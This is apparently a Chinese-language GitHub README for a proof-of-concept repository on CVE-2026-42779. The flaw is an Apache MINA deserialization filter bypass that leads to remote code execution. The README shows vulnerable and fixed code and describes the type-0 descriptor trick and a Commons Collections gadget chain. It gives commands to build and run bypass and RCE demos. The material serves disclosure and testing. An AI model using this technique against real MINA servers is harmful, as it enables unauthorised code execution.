dinosn/CVE-2026-42779

GitHub: dinosn/CVE-2026-42779

Apache MINA CVE-2026-42779 反序列化过滤器绕过漏洞的完整 PoC,演示如何通过类型 0 描述符绕过白名单机制实现远程代码执行。

Stars: 9 | Forks: 0

# CVE-2026-42779 — Apache MINA 反序列化过滤器绕过导致 RCE **CVSS 3.1:** 9.8 CRITICAL `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` **CWE:** CWE-502 不可信数据的反序列化 **报告者:** Venkatraman Kumar, Securin **公告:** [Apache 邮件列表](https://lists.apache.org/thread/fhlx5k91hrkgyzh7yk1nghrn3k27gxy0) ## 概述 Apache MINA 版本 **2.1.0 至 2.1.11** 和 **2.2.0 至 2.2.6** 在 `AbstractIoBuffer.resolveClass()` 中存在反序列化过滤器绕过漏洞。旨在限制可反序列化 Java 类的 `acceptMatchers` 允许列表,在 `ObjectStreamClass.forClass()` 返回 `null` 时会被完全跳过。 拥有对使用 `ObjectSerializationCodecFactory` 的 MINA endpoint 网络访问权限的攻击者,可以构造协议 payload 绕过类过滤器,利用标准的 Java 反序列化 gadget 链(例如 Commons Collections)实现**完全的远程代码执行**。 这是 CVE-2026-41635 的**不完整修复**。原始补丁已应用于 2.0.x 分支,但由于合并疏忽,从未向后移植到 2.1.x 或 2.2.x。 ## 受影响版本 | 分支 | 受影响版本 | 已修复 | |--------|-----------|-------| | 2.1.x | 2.1.0 – 2.1.11 | **2.1.12** | | 2.2.x | 2.2.0 – 2.2.6 | **2.2.7** | ## 根本原因 该漏洞存在于 `AbstractIoBuffer.resolveClass()` 中,该函数负责处理 Java 对象反序列化期间的类解析。 MINA 使用带有两种类描述符类型的自定义序列化协议: - **类型 0** — 不可序列化的类、基本类型和数组(标准 Java 类描述符格式) - **类型 1** — 可序列化的类(紧凑类名格式) 在受影响的代码中,`acceptMatchers` 过滤器**仅在类型 1 分支中检查**(当 `forClass()` 返回非空值时)。类型 0 分支直接调用 `Class.forName()`,完全绕过了过滤器: ``` // AbstractIoBuffer.java — VULNERABLE (2.2.6) protected Class resolveClass(ObjectStreamClass desc) { Class clazz = desc.forClass(); if (clazz == null) { // BUG: No acceptMatchers check — filter completely bypassed return Class.forName(name, false, classLoader); } else { // Filter only applied here for (ClassNameMatcher matcher : acceptMatchers) { ... } } } ``` 2.2.7 版本中的修复将过滤器检查移至该分支**之前**: ``` // AbstractIoBuffer.java — FIXED (2.2.7) protected Class resolveClass(ObjectStreamClass desc) { String className = desc.getName(); // Filter applied FIRST, regardless of forClass() result if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) { throw new ClassNotFoundException("Class not in accept list " + className); } Class clazz = desc.forClass(); // ... safe resolution follows } ``` ## 漏洞利用 ### 攻击流程 ``` Attacker Vulnerable MINA Server | | | 1. Craft MINA payload with type-0 | | descriptors for gadget chain classes | | | | 2. Send to endpoint using | | ObjectSerializationCodecFactory -------->| | | | 3. readClassDescriptor() reads type-0| | → delegates to super (std Java) | | | | 4. resolveClass() sees forClass()==null | → Class.forName() WITHOUT filter | | | | 5. Gadget chain fully deserialized | | → readObject() triggers chain | | → Runtime.exec() fires | | | | RCE ACHIEVED | ``` ### 前置条件 1. 目标应用程序使用 `IoBuffer.getObject()` 或 `ObjectSerializationCodecFactory` 2. 目标配置了 `accept()`(没有过滤器的应用程序已经可以通过 CVE-2026-41635 被利用) 3. classpath 中存在 gadget 链库(Commons Collections, Spring 等) ### 关键洞察 攻击者**控制着序列化字节流**。通过对 Serializable gadget 链类使用类型 0 类描述符(而不是类型 1),反序列化图中的每个类都会绕过 `acceptMatchers` 过滤器,无论应用程序的 allowlist 如何配置。 ## 概念验证 三个 PoC 展示了逐步升级的影响: | PoC | 证明了什么 | |-----|---------------| | `FilterBypassPoC.java` | 对基本类型、不可序列化类、数组的过滤器绕过 | | `CraftedBypassPoC.java` | 攻击者构造的类型 0 payload 可绕过任何 Serializable 类的过滤器 | | `RcePoC.java` | 通过过滤器绕过利用 CC6 gadget 链实现完全的 RCE | ### 1. 过滤器绕过(MINA 2.2.6 — 受影响) 不在接受列表中的类可以无限制地被反序列化: ![受影响的 MINA 2.2.6 上的过滤器绕过](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/6e589dcb91023755.png) ### 2. 构造的 Payload — 任意类加载 攻击者利用带有类型 0 描述符的 MINA 协议 payload 绕过仅允许 `String` 的接受列表来加载任何类: ![构造的 payload 绕过](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/e0d7f3db1f023757.png) ### 3. 完全 RCE — 命令执行 CC6 变体 gadget 链 (HashSet → TiedMapEntry → LazyMap → ChainedTransformer → `Runtime.exec()`) 通过过滤器绕过实现了命令执行: ![MINA 2.2.6 上确认的 RCE](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/c80f79b384023759.png) ### 4. 过滤器绕过(MINA 2.2.7 — 已修复) 相同的测试在已修复版本上被阻止: ![MINA 2.2.7 上被阻止的过滤器绕过](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/b3521e6c20023801.png) ### 5. RCE 被阻止(MINA 2.2.7 — 已修复) gadget 链被过滤器拒绝: ![MINA 2.2.7 上被阻止的 RCE](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/c7ec2af4e3023803.png) ## 快速开始 最快的测试方法 — 无需 JDK 或 Maven: ``` # 克隆此 repo git clone https://github.com/dinosn/CVE-2026-42779.git cd CVE-2026-42779 # 构建并运行所有 PoC docker build -t cve-2026-42779 . docker run --rm cve-2026-42779 # 运行单个 PoC docker run --rm cve-2026-42779 bypass # Filter bypass only docker run --rm cve-2026-42779 crafted # Crafted payload bypass docker run --rm cve-2026-42779 rce # Full RCE # 进入 shell 进行探索 docker run --rm -it cve-2026-42779 shell ``` 该镜像捆绑了受影响的 MINA 2.2.6 JAR、Commons Collections 3.2.2 以及所有三个预编译的 PoC。所有内容都在容器内自包含运行。 ## 复现(从源码构建) 如果您更喜欢从源码构建: ``` # 克隆并构建漏洞版本 git clone https://github.com/apache/mina.git /tmp/apache-mina cd /tmp/apache-mina git checkout 2.2.6 mvn install -pl mina-core -DskipTests -q # 下载 commons-collections (用于 RCE PoC) curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \ -o commons-collections-3.2.2.jar # 编译 PoC javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java # 运行 filter bypass PoC java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC # 运行 crafted payload PoC java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC # 运行完整 RCE PoC java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \ --add-opens java.base/java.util=ALL-UNNAMED \ --add-opens java.base/java.lang.reflect=ALL-UNNAMED \ -cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \ RcePoC ``` 或者使用包含的 `Makefile`: ``` make run-all # Build and run all three PoCs make run-rce # Just the RCE PoC ``` **要求:** JDK 11+ 和 Maven(用于源码构建)或 Docker(用于容器) ## 修复建议 升级到 Apache MINA **2.1.12** 或 **2.2.7**。 如果无法立即升级: - 不要将 `IoBuffer.getObject()` 或 `ObjectSerializationCodecFactory` 用于不受信任的输入 - 考虑使用 JEP 290 序列化过滤器作为额外的防御层 ## 时间线 | 日期 | 事件 | |------|-------| | 2026-05-01 | Apache MINA PMC 发布安全公告 | | 2026-05-01 | 发布已修复版本 2.1.12 和 2.2.7 | | 2026-05-02 | 开发并测试此 PoC | ## 参考 - [Apache MINA 公告](https://lists.apache.org/thread/fhlx5k91hrkgyzh7yk1nghrn3k27gxy0) - [CVE 记录](https://www.cve.org/CVERecord?id=CVE-2026-42779) - [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2026-42779) - [Apache MINA 下载](https://mina.apache.org/downloads-mina_2_2.html) ## 免责声明 本概念验证仅用于**防御性安全研究、教育和授权渗透测试**。请负责任地使用,并且仅在您拥有测试权限的系统上使用。
标签:0day, AbstractIoBuffer, Apache MINA, CISA项目, Commons Collections, CVE-2026-42779, CVSS 9.8, CWE-502, IoBuffer, Java反序列化, JS文件枚举, ObjectSerializationCodecFactory, RCE, 不完整修复, 反序列化漏洞, 域名枚举, 漏洞分析, 编程工具, 网络安全, 网络资产安全, 补丁绕过, 请求拦截, 路径探测, 过滤器绕过, 远程代码执行, 隐私保护